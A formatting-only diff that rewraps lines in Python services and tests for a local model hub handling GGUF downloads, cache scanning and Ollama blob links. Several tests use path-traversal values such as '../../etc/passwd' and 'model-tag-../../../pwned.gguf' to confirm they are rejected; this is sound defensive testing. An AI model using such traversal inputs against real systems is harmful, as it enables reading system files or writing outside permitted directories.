+718,25 @@ async def get_gguf_variants_response( partial_quants: set[str] = set() partial_quant_transports: dict[str, Optional[str]] = {} try: - incomplete_hashes = download_registry.incomplete_blob_hashes("model", repo_id) + incomplete_hashes = download_registry.incomplete_blob_hashes( + "model", repo_id + ) except Exception as e: - logger.warning(f"Failed to compute partial GGUF variants for {repo_id}: {e}") + logger.warning( + f"Failed to compute partial GGUF variants for {repo_id}: {e}" + ) incomplete_hashes = set() - scan_snapshot_dir = hf_cache_scan.resolve_snapshot_dir_for_scan("model", repo_id) + scan_snapshot_dir = hf_cache_scan.resolve_snapshot_dir_for_scan( + "model", repo_id + ) # Manifest + marker + main incomplete-blob check: catches variants whose # download was cancelled or whose expected shards are missing/undersized. for variant in variants: try: requirement = requirements_by_quant.get(variant.quant.lower()) - variant_hashes = requirement.main_hashes if requirement is not None else None + variant_hashes = ( + requirement.main_hashes if requirement is not None else None + ) if variant_hashes is None and incomplete_hashes: variant_hashes = gguf_variant_blob_hashes( repo_id, @@ -720,13 +752,16 @@ async def get_gguf_variants_response( variant_blob_hashes = variant_hashes, ): partial_quants.add(variant.quant) - partial_quant_transports[variant.quant] = _partial_transport_for_variant( - repo_id, - variant.quant, + partial_quant_transports[variant.quant] = ( + _partial_transport_for_variant( + repo_id, + variant.quant, + ) ) except Exception as e: logger.warning( - f"Manifest-based partial check failed for " f"{repo_id}/{variant.quant}: {e}" + f"Manifest-based partial check failed for " + f"{repo_id}/{variant.quant}: {e}" ) if incomplete_hashes: for variant in variants: @@ -736,7 +771,8 @@ async def get_gguf_variants_response( # companion_hashes adds the MTP drafter (mmproj_hashes covers # every mmproj precision in the repo, not just the planned one). if ( - (requirement.mmproj_hashes | requirement.companion_hashes) & incomplete_hashes + (requirement.mmproj_hashes | requirement.companion_hashes) + & incomplete_hashes ) and _filenames_cached( requirement.main_filenames, requirement.main_size_bytes, @@ -759,7 +795,9 @@ async def get_gguf_variants_response( display_label = v.display_label, size_bytes = v.size_bytes, download_size_bytes = ( - requirement.download_size_bytes if requirement is not None else v.size_bytes + requirement.download_size_bytes + if requirement is not None + else v.size_bytes ), downloaded = downloaded, update_available = downloaded @@ -769,7 +807,9 @@ async def get_gguf_variants_response( v.quant, ), partial = is_partial, - partial_transport = (partial_quant_transports.get(v.quant) if is_partial else None), + partial_transport = ( + partial_quant_transports.get(v.quant) if is_partial else None + ), ) return GgufVariantsResponse( diff --git a/studio/backend/hub/services/models/local_inventory.py b/studio/backend/hub/services/models/local_inventory.py index b34532fa35..c8b76b1408 100644 --- a/studio/backend/hub/services/models/local_inventory.py +++ b/studio/backend/hub/services/models/local_inventory.py @@ -99,7 +99,9 @@ def _is_model_directory_for_scan(path: Path, *, entry_limit: int | None) -> bool if entry_limit is None: return _is_model_directory(path) try: - has_config = (path / "config.json").exists() or (path / "adapter_config.json").exists() + has_config = (path / "config.json").exists() or ( + path / "adapter_config.json" + ).exists() except OSError: return False return has_config and _has_immediate_model_weight(path) @@ -152,7 +154,9 @@ def _scan_models_dir( break try: is_dir = child.is_dir() - is_gguf_file = not is_dir and child.suffix.lower() == ".gguf" and child.is_file() + is_gguf_file = ( + not is_dir and child.suffix.lower() == ".gguf" and child.is_file() + ) if not is_dir and not is_gguf_file: continue has_model_files = is_gguf_file or _has_immediate_model_signal(child) @@ -202,7 +206,9 @@ def _hf_repo_dir_has_content(repo_dir: Path) -> bool: return False -def _scan_hf_cache(cache_dir: Path, *, entry_limit: int | None = None) -> List[LocalModelInfo]: +def _scan_hf_cache( + cache_dir: Path, *, entry_limit: int | None = None +) -> List[LocalModelInfo]: if not _safe_is_dir(cache_dir): return [] @@ -240,7 +246,9 @@ def _scan_hf_cache(cache_dir: Path, *, entry_limit: int | None = None) -> List[L repo_dir, ) gguf_partial = hf_cache_scan.is_gguf_repo_partial(model_id, repo_dir) - has_gguf_variant_state, gguf_variant_state_size = _gguf_variant_state_summary(model_id) + has_gguf_variant_state, gguf_variant_state_size = _gguf_variant_state_summary( + model_id + ) snapshot_partial_transport = ( hf_cache_scan.partial_transport_for( "model", @@ -323,7 +331,9 @@ def _scan_hf_cache(cache_dir: Path, *, entry_limit: int | None = None) -> List[L return found -def _scan_lmstudio_dir(lm_dir: Path, *, entry_limit: int | None = None) -> List[LocalModelInfo]: +def _scan_lmstudio_dir( + lm_dir: Path, *, entry_limit: int | None = None +) -> List[LocalModelInfo]: """Scan an LM Studio models dir (``publisher/model-name`` folders of GGUFs, or top-level standalone GGUFs).""" if not lm_dir.exists() or not lm_dir.is_dir(): return [] @@ -439,7 +449,9 @@ def _resolve_allowed_models_dir(models_dir: str, allowed_roots: list[Path]) -> P if not models_dir or not models_dir.strip(): raise ValueError("Directory not allowed") - requested = Path(os.path.realpath(os.path.expanduser(normalize_path(models_dir.strip())))) + requested = Path( + os.path.realpath(os.path.expanduser(normalize_path(models_dir.strip()))) + ) if any(path_is_same_or_child(requested, root) for root in allowed_roots): return requested @@ -522,7 +534,9 @@ async def _collect_models_from_default_sources( and hf_default.resolve() != hf_cache_dir.resolve() and hf_default.resolve() != legacy_hf.resolve() ): - local_models += await _scan_source("default HF cache", _scan_hf_cache, hf_default) + local_models += await _scan_source( + "default HF cache", _scan_hf_cache, hf_default + ) for lm_dir in lm_dirs: local_models += await _scan_source("LM Studio", _scan_lmstudio_dir, lm_dir) @@ -633,12 +647,16 @@ def _filter_hidden_models(local_models: List[LocalModelInfo]) -> list[LocalModel if model.source == "hf_cache" else None ) - if not is_hidden_model(model.id, model.model_id, model.path, resolved_cache_path): + if not is_hidden_model( + model.id, model.model_id, model.path, resolved_cache_path + ): visible.append(model) return visible -async def list_local_models_response(models_dir: str = "./models") -> LocalModelListResponse: +async def list_local_models_response( + models_dir: str = "./models", +) -> LocalModelListResponse: """List local model candidates from every supported on-device source.""" hf_cache_dir = _resolve_hf_cache_dir() legacy_hf = legacy_hf_cache_dir() diff --git a/studio/backend/hub/services/models/ollama.py b/studio/backend/hub/services/models/ollama.py index 2ccdbb44f1..08861eda11 100644 --- a/studio/backend/hub/services/models/ollama.py +++ b/studio/backend/hub/services/models/ollama.py @@ -124,7 +124,9 @@ def _ollama_links_dir(ollama_dir: Path) -> Optional[Path]: return None -def _make_ollama_blob_link(link_dir: Path, link_name: str, target: Path) -> Optional[str]: +def _make_ollama_blob_link( + link_dir: Path, link_name: str, target: Path +) -> Optional[str]: """Create a .gguf-named link to an Ollama blob: tries symlink then hardlink, skips the model if neither works (a full multi-GB copy would block the API). Idempotent.""" try: link_dir.mkdir(parents = True, exist_ok = True) @@ -137,7 +139,9 @@ def _make_ollama_blob_link(link_dir: Path, link_name: str, target: Path) -> Opti return None link_path = _contained_link_path(link_dir, link_name) if link_path is None: - logger.warning("Refusing unsafe Ollama link name %r under %s", link_name, link_dir) + logger.warning( + "Refusing unsafe Ollama link name %r under %s", link_name, link_dir + ) return None try: resolved = target.resolve() @@ -232,7 +236,9 @@ def _ollama_model_info_from_manifest( model_type = cfg.get("model_type", "") file_type = cfg.get("file_type", "") except (json.JSONDecodeError, OSError) as e: - logger.debug("Could not parse Ollama config blob %s: %s", config_blob, e) + logger.debug( + "Could not parse Ollama config blob %s: %s", config_blob, e + ) layers = manifest.get("layers") or [] if not isinstance(layers, list): @@ -260,11 +266,17 @@ def _ollama_model_info_from_manifest( model_blob = candidate if materialize_links and model_link_dir is not None: link_name = f"{safe_name}-{tag}{quant}.gguf" - gguf_link_path = _make_ollama_blob_link(model_link_dir, link_name, candidate) + gguf_link_path = _make_ollama_blob_link( + model_link_dir, link_name, candidate + ) elif materialize_links and media == "application/vnd.ollama.image.projector": candidate = _ollama_blob_path(blobs_dir, digest) - if candidate is not None and _safe_is_file(candidate) and model_link_dir is not None: + if ( + candidate is not None + and _safe_is_file(candidate) + and model_link_dir is not None + ): mmproj_name = f"{safe_name}-{tag}-mmproj.gguf" _make_ollama_blob_link(model_link_dir, mmproj_name, candidate) diff --git a/studio/backend/hub/services/snapshot_progress.py b/studio/backend/hub/services/snapshot_progress.py index 1fdf05e2e5..a5049f37e0 100644 --- a/studio/backend/hub/services/snapshot_progress.py +++ b/studio/backend/hub/services/snapshot_progress.py @@ -41,7 +41,9 @@ _progress_step_lock = threading.Lock() _last_progress_step: dict[str, int] = {} -def _log_progress_step(job_key: str, repo_id: str, variant: Optional[str], progress: float) -> None: +def _log_progress_step( + job_key: str, repo_id: str, variant: Optional[str], progress: float +) -> None: step = int(progress * 10) with _progress_step_lock: last = _last_progress_step.get(job_key, -1) diff --git a/studio/backend/hub/tests/test_dataset_services.py b/studio/backend/hub/tests/test_dataset_services.py index 4890714cd0..d0705be28e 100644 --- a/studio/backend/hub/tests/test_dataset_services.py +++ b/studio/backend/hub/tests/test_dataset_services.py @@ -198,7 +198,9 @@ def test_delete_cached_dataset_absent_everywhere_raises_404(monkeypatch): def test_check_format_rejects_invalid_path_as_400(): with pytest.raises(HTTPException) as exc_info: - formatting.check_format_response(CheckFormatRequest(dataset_name = "../../etc/passwd")) + formatting.check_format_response( + CheckFormatRequest(dataset_name = "../../etc/passwd") + ) assert exc_info.value.status_code == 400 @@ -286,7 +288,9 @@ def test_dataset_claim_register_cancel_uses_registry_marker_owner(monkeypatch): ) result = asyncio.run( - downloads.download_dataset_response(SimpleNamespace(repo_id = "Org/Data", use_xet = False)) + downloads.download_dataset_response( + SimpleNamespace(repo_id = "Org/Data", use_xet = False) + ) ) assert result["state"] == "cancelled" @@ -328,7 +332,9 @@ def test_upload_dataset_response_writes_non_empty_file(monkeypatch, tmp_path): payload = b'{"text":"hello"}\n' monkeypatch.setattr(local, "DATASET_UPLOAD_DIR", tmp_path) - response = asyncio.run(local.upload_dataset_response(_Upload("../train.jsonl", payload))) + response = asyncio.run( + local.upload_dataset_response(_Upload("../train.jsonl", payload)) + ) stored_path = Path(response.stored_path) assert response.filename == "train.jsonl" diff --git a/studio/backend/hub/tests/test_download_lifecycle.py b/studio/backend/hub/tests/test_download_lifecycle.py index 87346573b0..4a1f97f9e1 100644 --- a/studio/backend/hub/tests/test_download_lifecycle.py +++ b/studio/backend/hub/tests/test_download_lifecycle.py @@ -59,11 +59,18 @@ def test_xet_failure_retries_over_http_for_model_and_dataset(monkeypatch, tmp_pa register_worker = download_lifecycle.register_worker for repo_type, repo_id, variant, expected_args in ( - ("model", "Org/Model", "Q4_K_M", ["--repo-id", "Org/Model", "--variant", "Q4_K_M"]), + ( + "model", + "Org/Model", + "Q4_K_M", + ["--repo-id", "Org/Model", "--variant", "Q4_K_M"], + ), ("dataset", "Org/Data", None, ["--repo-id", "Org/Data", "--dataset"]), ): registry = download_registry.DownloadRegistry() - key = download_registry.normalize_job_key(f"{repo_id}::{variant}" if variant else repo_id) + key = download_registry.normalize_job_key( + f"{repo_id}::{variant}" if variant else repo_id + ) assert registry.claim( key, download_registry.TRANSPORT_XET, diff --git a/studio/backend/hub/tests/test_empty_variant_folder.py b/studio/backend/hub/tests/test_empty_variant_folder.py index 33bf6c6819..9ef54dbaa1 100644 --- a/studio/backend/hub/tests/test_empty_variant_folder.py +++ b/studio/backend/hub/tests/test_empty_variant_folder.py @@ -27,13 +27,19 @@ def test_list_empty_gguf_variant_dirs_finds_empty_leftover(tmp_path, monkeypatch assert gguf.list_empty_gguf_variant_dirs("org/Repo-GGUF") == {"UD-IQ1_S"} -def test_list_empty_excludes_quant_with_files_in_another_snapshot(tmp_path, monkeypatch): +def test_list_empty_excludes_quant_with_files_in_another_snapshot( + tmp_path, monkeypatch +): snap1 = tmp_path / "s1" / "snapshots" / "rev" (snap1 / "UD-IQ1_S").mkdir(parents = True) # empty here snap2 = tmp_path / "s2" / "snapshots" / "rev" (snap2 / "UD-IQ1_S").mkdir(parents = True) - (snap2 / "UD-IQ1_S" / "m-UD-IQ1_S-00001-of-00001.gguf").write_bytes(b"z") # has shards - monkeypatch.setattr(gguf, "iter_hf_cache_snapshots", lambda repo_id: iter([snap1, snap2])) + (snap2 / "UD-IQ1_S" / "m-UD-IQ1_S-00001-of-00001.gguf").write_bytes( + b"z" + ) # has shards + monkeypatch.setattr( + gguf, "iter_hf_cache_snapshots", lambda repo_id: iter([snap1, snap2]) + ) assert gguf.list_empty_gguf_variant_dirs("org/Repo-GGUF") == set() @@ -90,10 +96,16 @@ def test_remove_empty_variant_dirs_ignores_concurrent_refill(tmp_path, monkeypat def test_mark_empty_dir_cleanables_appends_unlisted(monkeypatch): - monkeypatch.setattr(gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: {"UD-IQ1_S"}) + monkeypatch.setattr( + gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: {"UD-IQ1_S"} + ) resp = GgufVariantsResponse( repo_id = "org/Repo-GGUF", - variants = [GgufVariantDetail(filename = "m-UD-IQ1_M.gguf", quant = "UD-IQ1_M", downloaded = True)], + variants = [ + GgufVariantDetail( + filename = "m-UD-IQ1_M.gguf", quant = "UD-IQ1_M", downloaded = True + ) + ], ) out = gguf_variants._mark_empty_dir_cleanables("org/Repo-GGUF", resp) by_q = {v.quant: v for v in out.variants} @@ -102,7 +114,9 @@ def test_mark_empty_dir_cleanables_appends_unlisted(monkeypatch): def test_mark_empty_dir_cleanables_flips_listed_variant(monkeypatch): - monkeypatch.setattr(gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: {"UD-IQ1_S"}) + monkeypatch.setattr( + gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: {"UD-IQ1_S"} + ) resp = GgufVariantsResponse( repo_id = "org/Repo-GGUF", variants = [GgufVariantDetail(filename = "m-UD-IQ1_S.gguf", quant = "UD-IQ1_S")], @@ -120,10 +134,16 @@ def _force_compute_to_raise(monkeypatch): monkeypatch.setattr(gguf_variants, "list_gguf_variants", _boom, raising = False) monkeypatch.setattr( - gguf_variants, "list_gguf_variants_from_hf_cache", lambda repo_id: None, raising = False + gguf_variants, + "list_gguf_variants_from_hf_cache", + lambda repo_id: None, + raising = False, ) monkeypatch.setattr( - gguf_variants, "list_partial_gguf_variants_from_state", lambda repo_id: None, raising = False + gguf_variants, + "list_partial_gguf_variants_from_state", + lambda repo_id: None, + raising = False, ) @@ -133,7 +153,9 @@ def test_get_variants_surfaces_cleanable_when_metadata_fails(monkeypatch): import asyncio _force_compute_to_raise(monkeypatch) - monkeypatch.setattr(gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: {"UD-IQ1_S"}) + monkeypatch.setattr( + gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: {"UD-IQ1_S"} + ) resp = asyncio.run( gguf_variants.get_gguf_variants_response( @@ -152,7 +174,9 @@ def test_get_variants_reraises_when_no_cleanable(monkeypatch): from fastapi import HTTPException _force_compute_to_raise(monkeypatch) - monkeypatch.setattr(gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: set()) + monkeypatch.setattr( + gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: set() + ) try: asyncio.run( diff --git a/studio/backend/hub/tests/test_model_services.py b/studio/backend/hub/tests/test_model_services.py index 693d945ee1..48ada702ee 100644 --- a/studio/backend/hub/tests/test_model_services.py +++ b/studio/backend/hub/tests/test_model_services.py @@ -149,7 +149,9 @@ def test_download_state_preserves_readable_keys_when_safe(monkeypatch, tmp_path) @pytest.mark.parametrize("variant", ["bad variant with spaces", "q" * 64]) -def test_download_state_bounds_long_repo_variant_filenames(monkeypatch, tmp_path, variant): +def test_download_state_bounds_long_repo_variant_filenames( + monkeypatch, tmp_path, variant +): monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path) repo_id = f"{'a' * 96}/{'b' * 96}" @@ -243,7 +245,9 @@ def test_browse_folders_hides_sensitive_dirs(monkeypatch, tmp_path): (home / ".ssh").mkdir(parents = True) (home / "models").mkdir() # Accept and ignore the optional (media_roots, drive_roots) args the caller now passes. - monkeypatch.setattr(folder_browser, "_build_browse_allowlist", lambda *_a, **_k: [home]) + monkeypatch.setattr( + folder_browser, "_build_browse_allowlist", lambda *_a, **_k: [home] + ) response = folder_browser.browse_folders_response(str(home), show_hidden = True) @@ -259,15 +263,22 @@ def test_browse_allowlist_includes_linux_run_media_mounts(monkeypatch, tmp_path) home.mkdir() model_dir.mkdir(parents = True) monkeypatch.setattr(folder_browser.Path, "home", lambda: home) - monkeypatch.setattr(folder_browser, "linux_run_media_mount_roots", lambda: [media_root]) - monkeypatch.setattr(folder_browser, "_resolve_hf_cache_dir", lambda: tmp_path / "missing-hf") + monkeypatch.setattr( + folder_browser, "linux_run_media_mount_roots", lambda: [media_root] + ) + monkeypatch.setattr( + folder_browser, "_resolve_hf_cache_dir", lambda: tmp_path / "missing-hf" + ) monkeypatch.setattr(scan_folders, "list_scan_folders", lambda: []) monkeypatch.setattr(folder_browser, "well_known_model_dirs", lambda: []) allowlist = folder_browser._build_browse_allowlist() assert media_root.resolve() in allowlist - assert folder_browser._resolve_browse_target(str(model_dir), allowlist) == model_dir.resolve() + assert ( + folder_browser._resolve_browse_target(str(model_dir), allowlist) + == model_dir.resolve() + ) def test_get_models_folder_response_creates_and_returns_dir(monkeypatch, tmp_path): @@ -344,7 +355,9 @@ def test_make_ollama_blob_link_refuses_escaping_name(tmp_path): blob.parent.mkdir(parents = True) blob.write_bytes(b"weights") - escaped = ollama._make_ollama_blob_link(link_dir, "model-tag-../../../pwned.gguf", blob) + escaped = ollama._make_ollama_blob_link( + link_dir, "model-tag-../../../pwned.gguf", blob + ) assert escaped is None assert not list(tmp_path.rglob("pwned.gguf")) @@ -360,7 +373,9 @@ def test_cached_gguf_scan_dedupes_and_excludes_mmproj_only(monkeypatch, tmp_path [_file("Q4_K_M.gguf", 300), _file("Q8_0.gguf", 200)], tmp_path / "large", ) - mmproj_only = _repo("Org/VisionAdapter", [_file("mmproj-F16.gguf", 900)], tmp_path / "mmproj") + mmproj_only = _repo( + "Org/VisionAdapter", [_file("mmproj-F16.gguf", 900)], tmp_path / "mmproj" + ) monkeypatch.setattr( cache_inventory, "all_hf_cache_scans", @@ -401,7 +416,9 @@ def test_cached_gguf_scan_preserves_partial_flag(monkeypatch, tmp_path): assert row["capabilities"]["can_chat"] is False -def test_cached_gguf_scan_includes_variant_state_without_completed_gguf(monkeypatch, tmp_path): +def test_cached_gguf_scan_includes_variant_state_without_completed_gguf( + monkeypatch, tmp_path +): monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path / "state") repo_path = tmp_path / "hub" / "models--Org--PartialGguf" repo_path.mkdir(parents = True) @@ -417,7 +434,9 @@ def test_cached_gguf_scan_includes_variant_state_without_completed_gguf(monkeypa [download_manifest.ExpectedFile(path = "model-Q4_K_M.gguf", size = 4096)], "http", ) - assert download_manifest.write_cancel_marker("model", "Org/PartialGguf", "Q4_K_M", "http") + assert download_manifest.write_cancel_marker( + "model", "Org/PartialGguf", "Q4_K_M", "http" + ) monkeypatch.setattr( cache_inventory, "all_hf_cache_scans", @@ -439,7 +458,9 @@ def test_cached_gguf_scan_includes_variant_state_without_completed_gguf(monkeypa assert row["capabilities"]["requires_variant"] is True -def test_cached_gguf_scan_hides_infra_repos_without_user_downloads(monkeypatch, tmp_path): +def test_cached_gguf_scan_hides_infra_repos_without_user_downloads( + monkeypatch, tmp_path +): probe = _repo( "ggml-org/models", [_file("tinyllamas/stories260K.gguf", 1_200_000)], @@ -467,7 +488,9 @@ def test_cached_gguf_scan_hides_infra_repos_without_user_downloads(monkeypatch, assert [row["repo_id"] for row in result["cached"]] == ["Org/Chat-GGUF"] -def test_cached_gguf_scan_keeps_infra_repo_with_user_downloaded_variant(monkeypatch, tmp_path): +def test_cached_gguf_scan_keeps_infra_repo_with_user_downloaded_variant( + monkeypatch, tmp_path +): monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path / "state") embedder = _repo( "unsloth/bge-small-en-v1.5-GGUF", @@ -482,7 +505,11 @@ def test_cached_gguf_scan_keeps_infra_repo_with_user_downloaded_variant(monkeypa "model", "unsloth/bge-small-en-v1.5-GGUF", "Q8_0", - [download_manifest.ExpectedFile(path = "bge-small-en-v1.5-Q8_0.gguf", size = 35_000_000)], + [ + download_manifest.ExpectedFile( + path = "bge-small-en-v1.5-Q8_0.gguf", size = 35_000_000 + ) + ], "http", ) monkeypatch.setattr( @@ -498,7 +525,9 @@ def test_cached_gguf_scan_keeps_infra_repo_with_user_downloaded_variant(monkeypa result = {"cached": cache_inventory._scan_cached_gguf()} - assert [row["repo_id"] for row in result["cached"]] == ["unsloth/bge-small-en-v1.5-GGUF"] + assert [row["repo_id"] for row in result["cached"]] == [ + "unsloth/bge-small-en-v1.5-GGUF" + ] assert result["cached"][0]["capabilities"]["can_chat"] is False @@ -682,7 +711,9 @@ def test_cached_models_scan_keeps_unrelated_repo_with_custom_generic_embedder( assert [row["repo_id"] for row in result["cached"]] == ["user/model-chat"] -def test_cached_scans_hide_stale_default_embedder_after_custom_setting(monkeypatch, tmp_path): +def test_cached_scans_hide_stale_default_embedder_after_custom_setting( + monkeypatch, tmp_path +): from core.rag import config as rag_config monkeypatch.setattr(rag_config, "effective_embedding_model", lambda: "org/custom") @@ -823,7 +854,9 @@ def test_gguf_variant_blob_hashes_skip_missing_rfilename(monkeypatch): monkeypatch.setattr( gguf_variants, "_fetch_gguf_variant_requirements", - lambda _repo_id, _hf_token = None: gguf_variants._build_gguf_variant_requirements(siblings), + lambda _repo_id, _hf_token = None: gguf_variants._build_gguf_variant_requirements( + siblings + ), ) result = gguf_variants.gguf_variant_blob_hashes("Org/Malformed", "Q4_K_M", None) @@ -867,7 +900,9 @@ def test_download_gguf_variant_purges_only_main_quant_hashes(monkeypatch, tmp_pa ), ) monkeypatch.setattr( - hf_download, "_verify_completed_download", lambda *args, **kwargs: verified.append(args) + hf_download, + "_verify_completed_download", + lambda *args, **kwargs: verified.append(args), ) monkeypatch.setattr( download_registry, @@ -882,7 +917,8 @@ def test_download_gguf_variant_purges_only_main_quant_hashes(monkeypatch, tmp_pa sys.modules, "huggingface_hub", SimpleNamespace( - snapshot_download = lambda **kwargs: snapshot_calls.append(kwargs) or str(tmp_path) + snapshot_download = lambda **kwargs: snapshot_calls.append(kwargs) + or str(tmp_path) ), ) @@ -898,12 +934,20 @@ def test_download_gguf_variant_purges_only_main_quant_hashes(monkeypatch, tmp_pa }, ) ] - assert [file.path for file in written[0][3]] == ["model-Q4_K_M.gguf", "mmproj-F16.gguf"] - assert snapshot_calls[0]["allow_patterns"] == ["model-Q4_K_M.gguf", "mmproj-F16.gguf"] + assert [file.path for file in written[0][3]] == [ + "model-Q4_K_M.gguf", + "mmproj-F16.gguf", + ] + assert snapshot_calls[0]["allow_patterns"] == [ + "model-Q4_K_M.gguf", + "mmproj-F16.gguf", + ] assert verified == [("model", "Org/Vision", "Q4_K_M", str(tmp_path))] -def test_download_gguf_variant_manifest_resume_purges_only_main_quant_hashes(monkeypatch, tmp_path): +def test_download_gguf_variant_manifest_resume_purges_only_main_quant_hashes( + monkeypatch, tmp_path +): prepare_calls = [] snapshot_calls = [] @@ -941,12 +985,15 @@ def test_download_gguf_variant_manifest_resume_purges_only_main_quant_hashes(mon "prepare_cache_for_transport", lambda *args, **kwargs: prepare_calls.append((args, kwargs)) or 0, ) - monkeypatch.setattr(hf_download, "_verify_completed_download", lambda *_args, **_kwargs: None) + monkeypatch.setattr( + hf_download, "_verify_completed_download", lambda *_args, **_kwargs: None + ) monkeypatch.setitem( sys.modules, "huggingface_hub", SimpleNamespace( - snapshot_download = lambda **kwargs: snapshot_calls.append(kwargs) or str(tmp_path) + snapshot_download = lambda **kwargs: snapshot_calls.append(kwargs) + or str(tmp_path) ), ) @@ -962,10 +1009,15 @@ def test_download_gguf_variant_manifest_resume_purges_only_main_quant_hashes(mon }, ) ] - assert snapshot_calls[0]["allow_patterns"] == ["model-Q4_K_M.gguf", "mmproj-F16.gguf"] + assert snapshot_calls[0]["allow_patterns"] == [ + "model-Q4_K_M.gguf", + "mmproj-F16.gguf", + ] -def test_download_snapshot_recovers_manifest_after_metadata_fallback(monkeypatch, tmp_path): +def test_download_snapshot_recovers_manifest_after_metadata_fallback( + monkeypatch, tmp_path +): metadata_calls = [] written = [] cleared = [] @@ -975,11 +1027,15 @@ def test_download_snapshot_recovers_manifest_after_metadata_fallback(monkeypatch metadata_calls.append(True) if len(metadata_calls) == 1: raise RuntimeError("metadata down") - return SimpleNamespace(siblings = [SimpleNamespace(rfilename = "config.json", size = 12)]) + return SimpleNamespace( + siblings = [SimpleNamespace(rfilename = "config.json", size = 12)] + ) monkeypatch.setattr(hf_download, "_model_info_with_retry", _metadata) monkeypatch.setattr( - hf_download, "_verify_completed_download", lambda *args, **kwargs: verified.append(args) + hf_download, + "_verify_completed_download", + lambda *args, **kwargs: verified.append(args), ) monkeypatch.setattr( download_registry, "prepare_cache_for_transport", lambda *_args, **_kwargs: 0 @@ -1018,7 +1074,9 @@ def test_download_dataset_continues_without_metadata_manifest(monkeypatch, tmp_p monkeypatch.setattr(hf_download, "_dataset_info_with_retry", _metadata) monkeypatch.setattr( - hf_download, "_verify_completed_download", lambda *args, **kwargs: verified.append(args) + hf_download, + "_verify_completed_download", + lambda *args, **kwargs: verified.append(args), ) monkeypatch.setattr( download_registry, "prepare_cache_for_transport", lambda *_args, **_kwargs: 0 @@ -1036,7 +1094,8 @@ def test_download_dataset_continues_without_metadata_manifest(monkeypatch, tmp_p sys.modules, "huggingface_hub", SimpleNamespace( - snapshot_download = lambda **kwargs: snapshot_calls.append(kwargs) or str(tmp_path) + snapshot_download = lambda **kwargs: snapshot_calls.append(kwargs) + or str(tmp_path) ), ) @@ -1070,13 +1129,17 @@ def test_download_snapshot_fails_when_metadata_unavailable_and_partial_remains( monkeypatch.setattr(hf_download, "_model_info_with_retry", _metadata) monkeypatch.setattr( - hf_download, "_verify_completed_download", lambda *args, **kwargs: verified.append(args) + hf_download, + "_verify_completed_download", + lambda *args, **kwargs: verified.append(args), ) monkeypatch.setattr( download_registry, "prepare_cache_for_transport", lambda *_args, **_kwargs: 0 ) monkeypatch.setattr(download_manifest, "clear_cancel_marker", lambda *_args: None) - monkeypatch.setattr(download_manifest, "read_manifest", lambda *_args, **_kwargs: None) + monkeypatch.setattr( + download_manifest, "read_manifest", lambda *_args, **_kwargs: None + ) monkeypatch.setattr( download_manifest, "write_manifest", lambda *args: written.append(args) or True ) @@ -1176,7 +1239,9 @@ def test_gguf_download_progress_fallback_logs_warning(monkeypatch): assert kwargs == {} -def test_gguf_progress_counts_completed_mmproj_with_expected_bytes(monkeypatch, tmp_path): +def test_gguf_progress_counts_completed_mmproj_with_expected_bytes( + monkeypatch, tmp_path +): """A finished mmproj companion keeps counting toward progress once the caller supplies expected bytes; resolving the variant requirement credits it.""" entry = tmp_path / "models--Org--Model-GGUF" @@ -1595,7 +1660,9 @@ def test_gguf_progress_scoped_hashes_exclude_sibling_quant(monkeypatch, tmp_path assert result["downloaded_bytes"] == 5 -def test_gguf_progress_unknown_hashes_does_not_count_foreign_blobs(monkeypatch, tmp_path): +def test_gguf_progress_unknown_hashes_does_not_count_foreign_blobs( + monkeypatch, tmp_path +): # With a variant's hashes unresolved (metadata flaked, no manifest), the # shared blobs/ dir's FINALIZED blobs must NOT be counted wholesale: a cached # sibling quant (``siblinghash``) alongside is the "instant ~900 MB" bug. @@ -1647,7 +1714,9 @@ def test_gguf_progress_unknown_hashes_does_not_count_foreign_blobs(monkeypatch, assert result["complete_on_disk"] is False -def test_gguf_progress_unknown_hashes_drops_unscoped_incomplete_blob(monkeypatch, tmp_path): +def test_gguf_progress_unknown_hashes_drops_unscoped_incomplete_blob( + monkeypatch, tmp_path +): # With hashes unresolved, an .incomplete in the shared blobs/ dir can't be # attributed to this variant (it may be a concurrent sibling's active write), # so it is dropped, mirroring the finalized-blob guard. In production the @@ -1696,7 +1765,9 @@ def test_gguf_progress_unknown_hashes_drops_unscoped_incomplete_blob(monkeypatch assert result["completed_bytes"] == 0 # finalized sibling still ignored -def test_gguf_progress_unknown_hashes_no_backward_dip_when_variant_finalizes(monkeypatch, tmp_path): +def test_gguf_progress_unknown_hashes_no_backward_dip_when_variant_finalizes( + monkeypatch, tmp_path +): # Regression for the two-variant dip: with hashes unresolved, the first quant # finalizes while the sibling still writes its .incomplete. The sibling's # bytes used to leak into this numerator, dipping the bar ~99% -> ~78% for @@ -1767,7 +1838,9 @@ def test_hf_cache_model_file_probe_is_bounded(monkeypatch, tmp_path): model.write_bytes(b"weights") entries = [first, second, model] - monkeypatch.setattr(model_common.Path, "rglob", lambda _self, _pattern: iter(entries)) + monkeypatch.setattr( + model_common.Path, "rglob", lambda _self, _pattern: iter(entries) + ) monkeypatch.setattr(model_common, "_HF_CACHE_MODEL_FILE_PROBE_LIMIT", 2) bounded = model_common._iter_hf_cache_model_files(snapshot) @@ -1790,7 +1863,9 @@ def test_download_state_lookup_is_repo_case_insensitive(monkeypatch, tmp_path): None, [download_manifest.ExpectedFile(path = "config.json", size = 12)], ) - assert download_manifest.write_cancel_marker("model", "Owner/Repo", "Q4_K_M", "http") + assert download_manifest.write_cancel_marker( + "model", "Owner/Repo", "Q4_K_M", "http" + ) manifest = download_manifest.read_manifest("model", "owner/repo", None) @@ -1823,7 +1898,9 @@ def test_hf_cache_scan_fallback_row_uses_local_model_info_alias(monkeypatch, tmp blobs_dir = repo_dir / "blobs" blobs_dir.mkdir(parents = True) (blobs_dir / "blob").write_bytes(b"content") - monkeypatch.setattr(local_inventory, "_classify_local_path", lambda *_args, **_kwargs: []) + monkeypatch.setattr( + local_inventory, "_classify_local_path", lambda *_args, **_kwargs: [] + ) monkeypatch.setattr( local_inventory.hf_cache_scan, "is_snapshot_partial", @@ -1862,8 +1939,12 @@ def 